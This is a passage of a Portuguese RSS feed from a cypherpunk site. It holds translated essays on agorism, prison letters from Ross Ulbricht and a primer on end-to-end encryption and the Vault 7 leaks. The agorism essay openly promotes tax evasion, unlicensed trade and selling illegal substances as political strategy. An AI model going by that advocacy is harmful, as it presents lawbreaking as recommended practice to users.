width="534" height="680"
/>
&lt;/p></content:encoded></item><item><title>Agorismo Vertical &amp; Horizontal</title><link>https://cypherpunks.com.br/documentos/agorismo-vertical-horizontal/</link><pubDate>Fri, 07 Jul 2017 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/agorismo-vertical-horizontal/</guid><description>Vamos dar uma olhada em dois tipos diferentes de ação contra-econômica que são aplicáveis a uma variedade de indivíduos em uma variedade de situações de vida. Eu me refiro a essas estratégias como Agorismo Vertical e Horizontal. Estamos trabalhando com duas definições complementares de horizontal e vertical que explicam melhor o “como …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="agorismo-vertical--horizontal">Agorismo Vertical &amp;amp; Horizontal&lt;/h1>
&lt;h2 id="derrick-broze">Derrick Broze&lt;/h2>
&lt;p>&lt;/p>
&lt;blockquote>
&lt;p>“À medida que mais pessoas rejeitam as mistificações do Estado - nacionalismo, pseudo-economia, falsas ameaças e promessas políticas traídas - a Contra-Economia cresce tanto vertical quanto horizontalmente. Horizontalmente, envolve mais e mais pessoas que direcionam cada vez mais suas atividades para a contra-economia; verticalmente, significa que novas estruturas (negócios e serviços) crescem especificamente para servir a Contra-Economia (links de comunicação seguros, árbitros, seguro para atividades especificamente &amp;ldquo;ilegais&amp;rdquo;, formas iniciais de tecnologia de proteção e até mesmo guardas e protetores). Eventualmente, o &amp;ldquo;subterrâneo&amp;rdquo; irrompe no terreno onde a maioria das pessoas são agoristas, poucos são estatistas e a fiscalização do estado mais próxima não pode esmagá-los efetivamente.&amp;quot;&lt;/p>
&lt;/blockquote>
&lt;ul>
&lt;li>SEK III, Agorismo Aplicado, &lt;a href="https://drive.google.com/file/d/1I4flLRd--FCPFOXWQ5TxBZCtClPoK_WE/view" target="_blank" rel="noopener noreferrer">Uma Cartilha Agorista&lt;/a>
&lt;/li>
&lt;/ul>
&lt;p>Vamos dar uma olhada em dois tipos diferentes de ação contra-econômica que são aplicáveis a uma variedade de indivíduos em uma variedade de situações de vida. Eu me refiro a essas estratégias como Agorismo Vertical e Horizontal. Estamos trabalhando com duas definições complementares de horizontal e vertical que explicam melhor o “como fazer” da filosofia agorista. Essas definições foram tiradas da citação acima de Samuel Konkin III e do economista austríaco sueco Per Bylund e seu ensaio de 2006, A Strategy for Forcing the State Back. Vamos comparar as definições e ver como elas podem fornecer um caminho para o contra-economista curioso.&lt;/p>
&lt;p>Konkin começa descrevendo a contra-economia como crescendo horizontalmente no sentido de uma porção crescente da população dominante voltando suas atividades para a economia não estatista. O crescimento vertical, no sentido konkiniano, envolve a criação real de contra-instituições às contrapartes estatistas. Isso significa construir alternativas não apenas para os centros de poder econômico por meio de moedas alternativas, mas alternativas para a mídia corporativa morta, os sistemas corporativos de produção de alimentos, os centros acadêmicos complacentes e o crescente complexo industrial sem fins lucrativos.&lt;/p>
&lt;p>Per Bylund descreve sua visão do agorismo vertical como a estratégia “introvertida” baseada no trabalho e nas ideias do libertário radical Karl Hess. Hess foi um orador e redator de discursos extremamente eloqüente que passou de conservador a anarquista libertário e a um organizador e ativista comunitário de tendência mais à esquerda. Durante a década de 1960, ele esteve fortemente envolvido na organização do campus durante a ascensão dos novos movimentos estudantis de esquerda e anti-guerra. Hess trabalhou com Murray Rothbard, Konkin, Carl Ogelsby dos Students for a Democratic Society e vários outros na tentativa de formar alianças entre a nova esquerda emergente e os movimentos libertários. Ele também foi uma das poucas pessoas a ter 100% de seu salário roubado pelo IRS(1) por contestar o imposto de renda.&lt;/p>
&lt;p>Na década de 1970, Hess mudou o foco de seu ativismo para experimentar a construção de comunidades no bairro de baixa renda Adams-Morgan em Washington DC. Em seus livros Community Technology e Neighbourhood Power, Hess descreve como trabalhou com o bairro local para construir uma comunidade empoderada focada na sustentabilidade - ou o que eles denominaram &amp;ldquo;tecnologia apropriada&amp;rdquo;. Hess descreve um bairro com hortas aquapônicas em porões, jardins em telhados e serviços comunitários destinados a substituir as opções do Estado. Ele estava convencido de que ferramentas e tecnologia contribuem diretamente para a liberdade. Ao ser capaz de compartilhar ferramentas com os membros da comunidade, você pode compartilhar o acesso aos meios de produção e incentivar o empreendedorismo.&lt;/p>
&lt;p>É a esse foco no empoderamento da comunidade que Per Bylund se refere como estratégia vertical ou introvertida. Essas ações podem ser consideradas agoristas no sentido de que visam construir a autoconfiança e a comunidade em vez de depender de forças externas, mas não são explicitamente contra-econômicas porque não envolvem os mercados negro e cinza(2). Ainda assim, essas ações verticais são extremamente valiosas e necessárias.&lt;/p>
&lt;p>O Agorismo Vertical inclui a participação e a criação de redes de intercâmbio comunitário, agricultura urbana, jardinagem de quintal, mercados de agricultores, apoio à alternativas à polícia e apoio a tecnologias descentralizadas ponto a ponto. Embora essas etapas verticais possam envolver o uso da moeda do Estado (e, portanto, não são completamente contra-econômicas), elas ainda são significativas para desafiar a dependência do Estado e das classes corporativas. Outras etapas verticais podem não envolver diretamente a troca de moeda, mas ainda funcionam contra a dependência. Isso pode incluir apoio moral e promoção de tecnologias que perturbam o status quo e promovem relacionamentos mais fortes entre os membros da comunidade.&lt;/p>
&lt;p>Um exemplo muito pronunciado de Agorismo Vertical é visto na crescente mídia alternativa que se tornou possível com a Internet. Menos de uma geração atrás, a grande mídia, propriedade de megacorporações e rigidamente regulamentada pelo governo, controlava todas as informações que chegavam à sociedade. A distribuição da informação na sociedade veio de cima para baixo, tornando muito fácil fazer uma lavagem cerebral na população. No entanto, com a ascensão dos ativistas da Internet e indivíduos em busca de liberdade, descobriram que poderiam usar esse novo meio para criar sua própria mídia, tornar-se jornalistas e lutar contra a propaganda do Estado. Em poucos anos, a mídia alternativa rapidamente destruiu o monopólio da grande mídia, assumindo grande parte de sua antes exclusiva participação de mercado. O aumento da mídia independente fornece um excelente exemplo em nosso estudo de como instituições e sistemas alternativos podem ser criados para competir com os monopólios estatais existentes. (Infelizmente, o Estado Corporativo também permeou as mídias sociais e a censura de vozes independentes é, desde 2019, generalizada.)&lt;/p>
&lt;p>O objetivo é questionar e desafiar os mecanismos de poder que buscam influenciar e governar nossas vidas. Isso inclui o Estado, bem como outras instituições que tentam exercer controle e influência. Por exemplo, ao escolher cultivar sua própria comida ou apoiar os agricultores locais, você está dando um passo vertical para se afastar das corporações de biotecnologia que promovem o uso pesado de pesticidas e uma tecnologia potencialmente perigosa. Você também não está apoiando o transporte de produtos alimentícios a milhares de quilômetros de distância. Em vez disso, você caminha até seu quintal ou mercado local para comprar seus produtos. Isso aumenta muito a sua independência ao encerrar o suporte a uma indústria insustentável. Essas etapas verticais também são as maneiras mais fáceis de começar a viver de acordo com seus princípios. Mais uma vez, podemos ver o valor da consistência de palavras e ações.&lt;/p>
&lt;p>Per Bylund descreve a estratégia horizontal, ou extrovertida, como mais diretamente relacionada às ideias de Konkin. O rótulo extrovertido está relacionado à escolha ousada de buscar ações que o Estado considera ilegais ou imorais. Ao se aventurar nesse território, você está se juntando às fileiras do contrabandista, do traficante de bebidas, do traficante de cannabis, do jardineiro de guerrilha, do traficante de armas, do cripto-anarquista e do cortador de grama não licenciado, vendedor de alimentos ou barbeiro. Quando se combina a estratégia agorista vertical e horizontal, surge uma imagem que ilustra os passos que uma ampla gama de pessoas pode realizar em uma variedade de situações e ambientes de vida.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://miro.medium.com/max/1400/1*24Gr42X2jGiGbK7mbas06Q.png" loading="lazy"
/>
&lt;/p>
&lt;p>No canto inferior esquerdo, temos Estatismo e no canto superior direito, Agorismo. Podemos traçar ações verticais que ajudam a tirar o indivíduo da dependência. Talvez sua situação seja mais adequada para ações verticais, como cultivar sua própria comida, usar mensagens criptografadas, hospedar, em sua casa, eventos de compartilhamento de habilidades para a comunidade, praticar táticas pacíficas de paternidade, fornecer alternativas ao bem-estar do Estado por meio de crowdfunding, dinheiro para projetos comunitários e alimento para os sem-teto ou, simplesmente, limpando a vizinhança. Cada uma dessas etapas move o indivíduo (e, a longo prazo, a comunidade) verticalmente em direção à consistência e independência. Para aqueles que estão prontos para se tornarem contra-economistas e assumir os riscos da atividade do mercado negro e cinza, nós traçamos suas ações tanto vertical quanto horizontalmente. Um agorista praticando horizontalmente e verticalmente se moveria para cima e para longe do Estatismo e dependência para a posição superior direita do Agorismo. Isso significa que para cada jardim construído, moeda alternativa usada, imposto evitado, habilidade compartilhada, negócios praticados sem licença e substância ilegal vendida, o indivíduo pode traçar seu progresso, passando da dependência para a autoconfiança e do estatismo para o agorismo.&lt;/p>
&lt;p>Quando Konkin adotou pela primeira vez o conceito de agorismo, a contra-economia praticada conscientemente, pode ter envolvido apenas alguns libertários radicais. Mas, desde aquela época, as oportunidades de trocas no mercado negro e cinza cresceram imensamente. À medida que as fraquezas do Estado se tornam aparentes, será mais seguro para as massas começar a sair da economia anterior e aderir à contra-economia. Este é o mercado ou ágora verdadeiramente liberto de que falou Konkin.&lt;/p>
&lt;p>Lembre-se de que não podemos derrotar o Estado Tecnocrático usando sua tecnologia cegamente, pois isso servirá apenas para fortalecê-lo. Devemos criar e apoiar alternativas aos monopólios do Estado sempre e onde for possível. Será preciso que corajosos contra-economistas se aventurarem em territórios desconhecidos, cometendo erros, ocasionalmente sendo vítimas das leis do Estado e aprendendo como melhorar nossa abordagem. Precisamos desses pioneiros para lançar as bases para que outros não tenham que enfrentar as mesmas dificuldades no futuro. À medida que esses desbravadores iluminam o caminho, também esperamos ver um crescimento de comunidades livres e redes de liberdade em todo o mundo.&lt;/p>
&lt;p>Tenho uma visão de milhares de comunidades autônomas interligadas, compostas por indivíduos capacitados com uma variedade de ideias e expressões únicas da experiência humana. Essas comunidades estão negociando e compartilhando habilidades voluntariamente sem a violência inerente ao nosso paradigma atual e sem as constantes invasões de privacidade. Eu acredito que este mundo pode ser alcançado com um esforço organizado para espalhar a filosofia agorista e aumentar a participação na contra-economia via Agorismo Vertical e Horizontal e o conceito de Células da Liberdade que iremos cobrir na Parte 2.&lt;/p>
&lt;p>Disponível originalmente no livro “How to Opt-Out the Technocratic State” (Como se Auto-Excluir do Estado Tecnocrático)&lt;/p>
&lt;p>Notas do Tradutor:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>IRS é o equivalente americano à Receita Federal&lt;/p>
&lt;/li>
&lt;li>
&lt;p>É discutível se atividades que não são de Mercado Negro ou Cinza possam ser consideradas contra-econômicas ou não. Para uma opinião diferente da desse autor, recomendo a leitura do artigo Agorismo do Mercado Branco, de Logan Marie Glitterbomb.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Fonte:
&lt;a href="https://theconsciousresistance.com/vertical-horizontal-agorism/" target="_blank" rel="noopener noreferrer">Vertical and Horizontal Agorism - Derrick Broze&lt;/a>
&lt;/p>
&lt;p>&lt;a href="https://youtu.be/zrlW1M_5_Kg" target="_blank" rel="noopener noreferrer">YouTube Video | Vertical and Horizontal Agorism - Derrick Broze&lt;/a>
&lt;/p></content:encoded></item><item><title>O convite de Ross para se juntar a ele na meditação</title><link>https://cypherpunks.com.br/documentos/convite-de-ross-para-meditacao/</link><pubDate>Thu, 01 Jun 2017 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/convite-de-ross-para-meditacao/</guid><description>Todos os dias me sento por uma hora e o peso da minha prisão desaparece. Saio de meus pensamentos e emoções e encontro um estado de alegria, tranquilidade e equanimidade. Sinto-me conectado e grato por estar vivo.</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="ross-ulbricht">Ross Ulbricht&lt;/h2>
&lt;p>Publicado originalmente em 2017&lt;/p>
&lt;h2 id="o-convite-de-ross-para-se-juntar-a-ele-na-meditação">O convite de Ross para se juntar a ele na meditação&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Em 28 de junho de 2016, um livro chegou até mim pelo correio chamado “The Mind Illuminated”. É um guia completo para estabelecer uma prática de meditação e treinar para se tornar um adepto. Comecei a ler naquele mesmo dia e comecei minha prática. Não perdi um dia desde então. Ainda não sei quem me enviou aquele livro, mas sou muito grato a eles e aos autores. Todos os dias me sento por uma hora e o peso da minha prisão desaparece. Saio de meus pensamentos e emoções e encontro um estado de alegria, tranquilidade e equanimidade. Sinto-me conectado e grato por estar vivo.&lt;/p>
&lt;p>Em 28 de junho de 2017, convido você a se juntar a mim no meu primeiro aniversário de prática. Estarei meditando das 16h às 17h. Por qualquer período de tempo durante essa hora, sente-se confortavelmente, mas com atenção, relaxe e concentre-se nas sensações de sua respiração. Quando perceber que sua mente está divagando, concentre-se novamente na respiração. É isso aí! Desta forma, podemos nos conectar, apesar das grades e paredes.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="carta meditação" src="https://cypherpunks.com.br/stuff/meditation-day-1-768x1055.jpeg" loading="lazy"
width="768" height="1055"
/>
&lt;/p></content:encoded></item><item><title>Criptografia de Ponta-a-Ponta 101</title><link>https://cypherpunks.com.br/documentos/criptografia-de-ponta-a-ponta-101/</link><pubDate>Wed, 08 Mar 2017 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/criptografia-de-ponta-a-ponta-101/</guid><description>Neste artigo, damos uma introdução aos princípios da Criptografia, explicando a importância de seu uso no cotidiano e no que devemos nos atentar ao utilizá-la</description><content:encoded>&lt;pre tabindex="0">&lt;code>Tradução por: Cypherpunks Brasil
Revisão: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="introdução-à-criptografia-ponta-a-ponta">Introdução à Criptografia Ponta-a-Ponta&lt;/h1>
&lt;h2 id="e-será-que-as-revelações-do-vault-7-significam-que-criptografia-é-inútil">E será que as Revelações do Vault 7 Significam que Criptografia é Inútil?&lt;/h2>
&lt;p>Se você usou a internet em qualquer ponto desde Maio de 2013, você provavelmente ouviu que deveria usar comunicações criptografadas. As revelações de Edward Snowden de que a Agência Nacional de Segurança (NSA, em inglês) registra todas nossas chamadas, mensagens e e-mails, foram a faísca para um surto no desenvolvimento e uso de apps e serviços de criptografia. Após apenas poucos anos, criptografia passou a ser amplamente utilizada para comunicação diária. Se você usa alguma dessas ferramentas criptográficas, você provavelmente também ouviu a frase &amp;ldquo;criptografia ponta-a-ponta&amp;rdquo;, ou sua sigla, em inglês, &amp;ldquo;E2EE&amp;rdquo; (end-to-end encryption). O nome parece claro o suficiente: ponta-a-ponta significa que o conteúdo é criptografado de uma extremidade (geralmente seu celular ou computador) à outra extremidade (o celular ou computador do destinatário intencional da mensagem). Mas qual o nível de segurança é prometido a você, o usuário?&lt;/p>
&lt;p>Desde o início da administração do Trump, a Alfândega e Proteção de Fronteiras dos EUA (CBP, sigla em inglês) tem intensificado a invasão da privacidade de viajantes. O CBP tem demandado que, tanto os cidadãos dos EUA, quanto os visitantes, desbloqueiem seus celulares e computadores e os entreguem para a inspeção do CBP. Eles também têm demandado que os viajantes providenciem senhas ou que loguem em suas redes sociais. Viajantes que não colaboram se deparam com a ameaça de serem proibidos de entrar.&lt;/p>
&lt;p>Ontem, o Wikileaks publicou um &amp;ldquo;baú do tesouro&amp;rdquo; de documentos vazados da CIA (Agência Central de Inteligência dos EUA), incluindo o conhecimento desta sobre vulnerabilidades de segurança e métodos de exploração que a CIA pagou para manter em segredo, escondidos do público geral. Agora que esta informação vazou, não é apenas a CIA que tem acesso essas informações - todo mundo tem. O New York Times e outros jornais reportaram o ocorrido de forma equivocada, dizendo que a CIA havia quebrado a criptografia de aplicativos como Signal e WhatsApp, quando na verdade o que a CIA fez foi direcionar os ataques e comprometer dispositivos Android de pessoas específicas.&lt;/p>
&lt;p>Em suma, essa revelação confirma a importância de usar comunicações criptografadas ponta-a-ponta, que impedem agentes estatais de fazerem varreduras de vigilância em larga escala. Criptografia ponta-a-ponta (E2EE) continua sendo importante.&lt;/p>
&lt;blockquote>
&lt;p>Muitas reportagens sobre o Vault 7 deram a impressão de que apps criptográficos, como o Signal, foram comprometidos. Na verdade, o comprometimento ocorreu no nível do dispositivo - na extremidade (endpoint) da comunicação criptográfica, não na criptografia em si. Não há qualquer motivo para se acreditar que a criptografia em si não funciona.&lt;/p>
&lt;/blockquote>
&lt;h3 id="limitações-extremidades-em-texto-simples">Limitações: Extremidades em Texto Simples&lt;/h3>
&lt;p>Primeiramente, é importante entender que, se você consegue ler a mensagem, ela é um texto simples - ou seja, um texto que não está mais criptografado. Com a criptografia ponta-a-ponta, os elos fracos da corrente da segurança são: você (emissor) e seu dispositivo, o destinatário e o dispositivo dele. Se o destinatário consegue ler sua mensagem, qualquer um com acesso ao dispositivo dele também consegue. Um policial disfarçado poderia ler sua mensagem por sobre os ombros do destinatário, ou a polícia poderia confiscar o dispositivo do destinatário e forçar o acesso a ele. Se houver qualquer risco de qualquer destes eventos infelizes acontecerem, você deveria pensar duas vezes antes de enviar qualquer coisa que não gostaria de compartilhar com as autoridades.&lt;/p>
&lt;p>Essa limitação particular também é relevante para as recentes revelações do &lt;a href="https://pt.wikipedia.org/wiki/Vault_7" target="_blank" rel="noopener noreferrer">“Vault 7”,&lt;/a>
que demonstram como apps como Signal, WhatsApp e Telegram podem não ser úteis, caso um adversário (como a CIA) venha a obter acesso físico ao seu dispositivo, ou ao dispositivo do destinatário, e seja capaz de desbloqueá-lo. Muitas reportagens sobre o Vault 7 têm sido um tanto enganosas, dando a impressão que os apps por si só foram comprometidos. Neste caso, o comprometimento foi no nível do dispositivo - na extremidade (endpoint) da comunicação criptografada. A criptografia, por si própria, continua boa.&lt;/p>
&lt;h3 id="limitações-vigilância-direcionada">Limitações: Vigilância Direcionada&lt;/h3>
&lt;p>Considerando que você não consegue controlar as condições de segurança do destinatário da sua mensagem, você deve considerar a possibilidade de que qualquer mensagem que você envia pode ser lida. Embora raros, existem casos de &lt;a href="https://www.vice.com/en/article/3da5qj/government-hackers-iphone-hacking-jailbreak-nso-group" target="_blank" rel="noopener noreferrer">poderes estatais visando pessoas através da vigilância direta.&lt;/a>
Nestes casos, os alvos podem estar trabalhando com dispositivos infectados com malware, com a intenção de registrar toda comunicação que está entrando e saindo do dispositivo. Este comprometimento funciona no nível da extremidade da comunicação (dispositivo), tornando E2EE (criptografia ponta-a-ponta) inútil contra esses adversários em específico. Pois é difícil saber se você (ou o destinatário da sua mensagem) é alvo deste tipo de ataque, e é sempre bom ter como padrão não enviar informações muito sensíveis através de meios digitais de comunicação. Atualmente, tais ataques parecem ser raros, mas uma pessoa nunca deve correr riscos desnecessariamente.&lt;/p>
&lt;h3 id="limitações-metadados">Limitações: Metadados&lt;/h3>
&lt;p>A terceira coisa que você precisa saber sobre E2EE é que ela não necessariamente protege seus metadados. Dependendo de como a comunicação é transmitida, registros (logs) ainda podem mostrar a hora e o tamanho da comunicação, assim como o remetente e o destinatário. Registros (logs) também podem mostrar a localização de ambos o remetente e o destinatário, no momento da comunicação. Mesmo embora isso, por si só, possa não ser tipicamente suficiente para mandar alguém para a prisão, isso pode ser útil para provar associações entre pessoas, estabelecendo proximidade com cenas de crime, e rastreando padrões de comunicação. Todos os pedaços de informações são úteis para estabelecer maiores padrões comportamentais, em casos de vigilância direta.&lt;/p>
&lt;h3 id="então-por-quê">Então&amp;hellip; Por quê?&lt;/h3>
&lt;p>Então, se criptografia ponta-a-ponta não necessariamente protege o conteúdo de suas comunicações, e ainda por cima entrega metadados úteis, qual o ponto em utilizá-la?&lt;/p>
&lt;p>Uma das coisas mais importantes que a E2EE faz, é garantir que seus dados nunca passarão por servidores de terceiros de forma legível. Desde que a criptografia ponta-a-ponta comece no momento que você clica em &amp;ldquo;enviar&amp;rdquo;, e persiste até que chegue ao dispositivo do destinatário, quando uma empresa - como a Meta (Facebook) - é intimada a entregar os registros (logs) de suas comunicações, eles não possuem nenhum conteúdo em texto simples para entregar. Isso põe as autoridades numa posição na qual, se eles quiserem obter o conteúdo das suas comunicações, eles são forçados a gastar uma quantidade significativa de tempo e recursos tentando quebrar a criptografia. Nos EUA, seu direito a um julgamento célere pode tornar esta prova inútil para os procuradores, os quais podem não conseguir quebrar a criptografia rápido o suficiente para agradar ao juiz.&lt;/p>
&lt;h3 id="vigilância-em-massa">Vigilância em Massa&lt;/h3>
&lt;p>Outro uso de criptografia ponta-a-ponta é tornar mais difícil a vigilância em massa da Agência Nacional de Segurança (dos EUA, sigla NSA, em inglês), dentre outras agências de aplicação da lei. Por não existir nenhum ponto intermediário no qual sua comunicação não-criptografada pode ser interceptada, o que é interceptado são os mesmos blocos de texto criptografados disponíveis numa intimação. Vigilância em massa é geralmente conduzida coletando-se quaisquer dados disponíveis e submetendo-os a um sistema automatizado de classificação, ao invés de submetê-los a análises individuais. O uso de criptografia previne contra uma peneiração algorítmica por conteúdo, portanto tornando este processo muito mais difícil, e que geralmente não vale a pena.&lt;/p>
&lt;h3 id="stingrays-arraias-em-tradução-literal">Stingrays (arraias, em tradução literal)&lt;/h3>
&lt;p>Além da coleta de dados da NSA, agências federais e estaduais de aplicação da lei por todo o país (EUA) possuem, e frequentemente usam, simuladores de torres de telefonia celular, conhecidos como &amp;ldquo;IMSI catchers&amp;rdquo; (Captador Internacional de Identidade de Assinantes Móveis), ou &amp;ldquo;Stingrays&amp;rdquo; (arraias). IMSI Catchers se passam por torres de telefonia celular, a fim de enganar seu celular, para que ele entregue informações de identificação do mesmo, incluindo sua localização. Simuladores de torres de telefonia celular também interceptam e registram suas comunicações. Assim como com outros métodos de interceptação, criptografia significa que aquilo que é obtido seja altamente inutilizável, a não ser que a agência de aplicação da lei queira enfrentar o problema de quebrar essa criptografia.&lt;/p>
&lt;h3 id="criptografia-em-repouso">Criptografia em Repouso&lt;/h3>
&lt;p>Além de utilizar criptografia ponta-a-ponta para proteger o conteúdo de suas mensagens enquanto estão sendo enviadas, você pode usar a criptografia total de seu disco rígido para proteger suas informações enquanto estão armazenadas em seu dispositivo. Uma criptografia de disco apropriada significa que toda informação em seu dispositivo é indecifrável sem sua chave de criptografia (geralmente uma frase-passe), criando uma extremidade (endpoint) rígida na comunicação, muito mais difícil de ser comprometida. Mesmo embora criptografar as extremidades (endpoints) não seja necessariamente uma proteção contra alguns dos métodos mais pérfidos de vigilância, como malware, isso pode prevenir adversários que obtiverem seus dispositivos de extrair quaisquer dados úteis dos mesmos.&lt;/p>
&lt;hr>
&lt;p>Criptografia ponta-a-ponta não é, de forma alguma, um escudo mágico contra a vigilância feita por nações, estados ou indivíduos maliciosos, mas o Vault 7 destaca como sua utilização pode ajudar a forçar uma mudança processual de uma vigilância em massa, para ataques direcionados com uso intensivo de recursos. Quando emparelhada com bom senso, dispositivos encriptados, e outras práticas de segurança, criptografia ponta-a-ponta pode ser uma ferramenta poderosa para reduzir significativamente sua superfície de ataque. O uso habitual e consistente desta, pode anular muitas das ameaças de baixo nível, e pode até mesmo fazer com que adversários de mais alto nível decidirem que atacar você simplesmente não vale o esforço.&lt;/p>
&lt;h4 id="leituras-adicionais">Leituras Adicionais&lt;/h4>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://crimethinc.com/2013/10/04/feature-deserting-the-digital-utopia" target="_blank" rel="noopener noreferrer">Deserting the Digital Utopia&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://crimethinc.com/2013/06/10/prism-the-internet-as-new-enclosure" target="_blank" rel="noopener noreferrer">Prism: The Internet as New Enclosure&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://crimethinc.com/2013/06/10/the-internet-as-new-enclosure" target="_blank" rel="noopener noreferrer">The Internet as New Enclosure&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://crimethinc.com/2017/03/08/end-to-end-encryption-101-what-does-e2ee-do-and-does-vault-7-mean-its-useless" target="_blank" rel="noopener noreferrer">https://crimethinc.com/2017/03/08/end-to-end-encryption-101-what-does-e2ee-do-and-does-vault-7-mean-its-useless&lt;/a>
&lt;/p></content:encoded></item><item><title>Carta de Ross para Ross-A-Thon</title><link>https://cypherpunks.com.br/documentos/carta-de-ross-para-ross-a-thon/</link><pubDate>Thu, 01 Dec 2016 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/carta-de-ross-para-ross-a-thon/</guid><description>Os últimos anos foram um grande desafio para mim e minha família. O nível de estresse e ansiedade parece intransponível às vezes. Sinceramente, não sei se vou sair um dia. Acabarei como alguns dos velhos em minha unidade habitacional que passaram mais anos trancados do que fora da prisão? Ou minha condenação ou sentença será anulada, …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="ross-ulbricht">Ross Ulbricht&lt;/h2>
&lt;p>Publicado originalmente em 2016&lt;/p>
&lt;h2 id="carta-de-ross-para-ross-a-thon">Carta de Ross para Ross-A-Thon&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Olá a todos,
Ross aqui, estou escrevendo da prisão federal em Manhattan. Eu gostaria de poder entrar em sintonia com vocês para ouvir o que todos têm a dizer e me envolver na discussão, mas terei que me contentar com esta carta. Devo pegar uma cópia dos comentários e tal, então se você tem uma mensagem para mim, é só deixar aqui.
Minha mensagem para vocês é de grande gratidão e amor. Os últimos anos foram um grande desafio para mim e minha família. O nível de estresse e ansiedade parece intransponível às vezes. Sinceramente, não sei se vou sair um dia. Acabarei como alguns dos velhos em minha unidade habitacional que passaram mais anos trancados do que fora da prisão? Ou minha condenação ou sentença será anulada, dando-me uma segunda chance? Nós simplesmente não sabemos.
O futuro é incerto, mas ainda me sinto tão abençoado porque vocês sempre estiveram lá por mim. Posso ter caído, mas não caí muito. Vocês me pegaram, me levantaram e me carregaram por essa provação. Sem vocês, tenho certeza que teria afundado no desespero, mas seu amor e apoio incessantes renovam minha esperança diariamente e me mantêm focado em ser forte e saudável e reconquistar minha liberdade.
Depois de tudo que vocês fizeram por mim, odeio pedir mais, mas ficamos surpresos com uma nota de 14 mil dólares apenas para imprimir e encerrar a apelação para os juízes lerem, e em um momento em que estamos realmente esgotados. Qualquer coisa que vocês possam gastar para pagar ajudaria muito.
Além disso, um grande agradecimento àqueles que doaram seu tempo para tornar este evento possível - os palestrantes e todos que vieram me mostrar apoio. Estou com vocês hoje em espírito, e se Deus quiser, logo o verei como um homem livre.&lt;/p>
&lt;p>Pela Liberdade,
Ross
&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="Parte 1" src="https://cypherpunks.com.br/stuff/Ross_a_thon_letter_2016_1.jpg" loading="lazy"
width="1500" height="2161"
/>
&lt;!-- raw HTML omitted -->
&lt;img class="img-fluid" alt="Parte 2" src="https://cypherpunks.com.br/stuff/Ross_a_thon_letter_2016_2.jpg" loading="lazy"
width="1489" height="1051"
/>
&lt;/p></content:encoded></item><item><title>Empreendedores e o Lumpemproletariado: Comparando Agorismo e Ilegalismo</title><link>https://cypherpunks.com.br/documentos/empreendedores-e-o-lumpemproletariado-comparando-agorismo-e-ilegalismo/</link><pubDate>Mon, 10 Oct 2016 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/empreendedores-e-o-lumpemproletariado-comparando-agorismo-e-ilegalismo/</guid><description>À medida que mais e mais atividades econômicas são transferidas do mercado branco para a economia subterrânea, o estado perde mais e mais controle sobre essas transações econômicas. Junto a isso, os agoristas defendem a evasão fiscal, o que ajuda a drenar o suprimento monetário do estado, dificultando seu funcionamento. Enquanto ambos …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="logan-marie-glitterbomb">Logan Marie Glitterbomb&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Karl Marx considerava o lumpemproletariado o segmento da classe trabalhadora com o menor potencial revolucionário e, de fato, chegou a considerá-los potencialmente contra-revolucionários. No entanto, esta classe de “mendigos, prostitutas, gangsters, chantagistas, vigaristas, pequenos criminosos, vagabundos, desempregados ou imprestáveis, pessoas expulsas pela indústria e todos os tipos de elementos desclassificados, degradados ou degenerados” foi considerada por Bakunin ser a classe com o potencial revolucionário provável, acreditando que os trabalhadores assalariados estavam integrados demais no capitalismo para serem capazes de realmente desafiá-lo.&lt;/p>
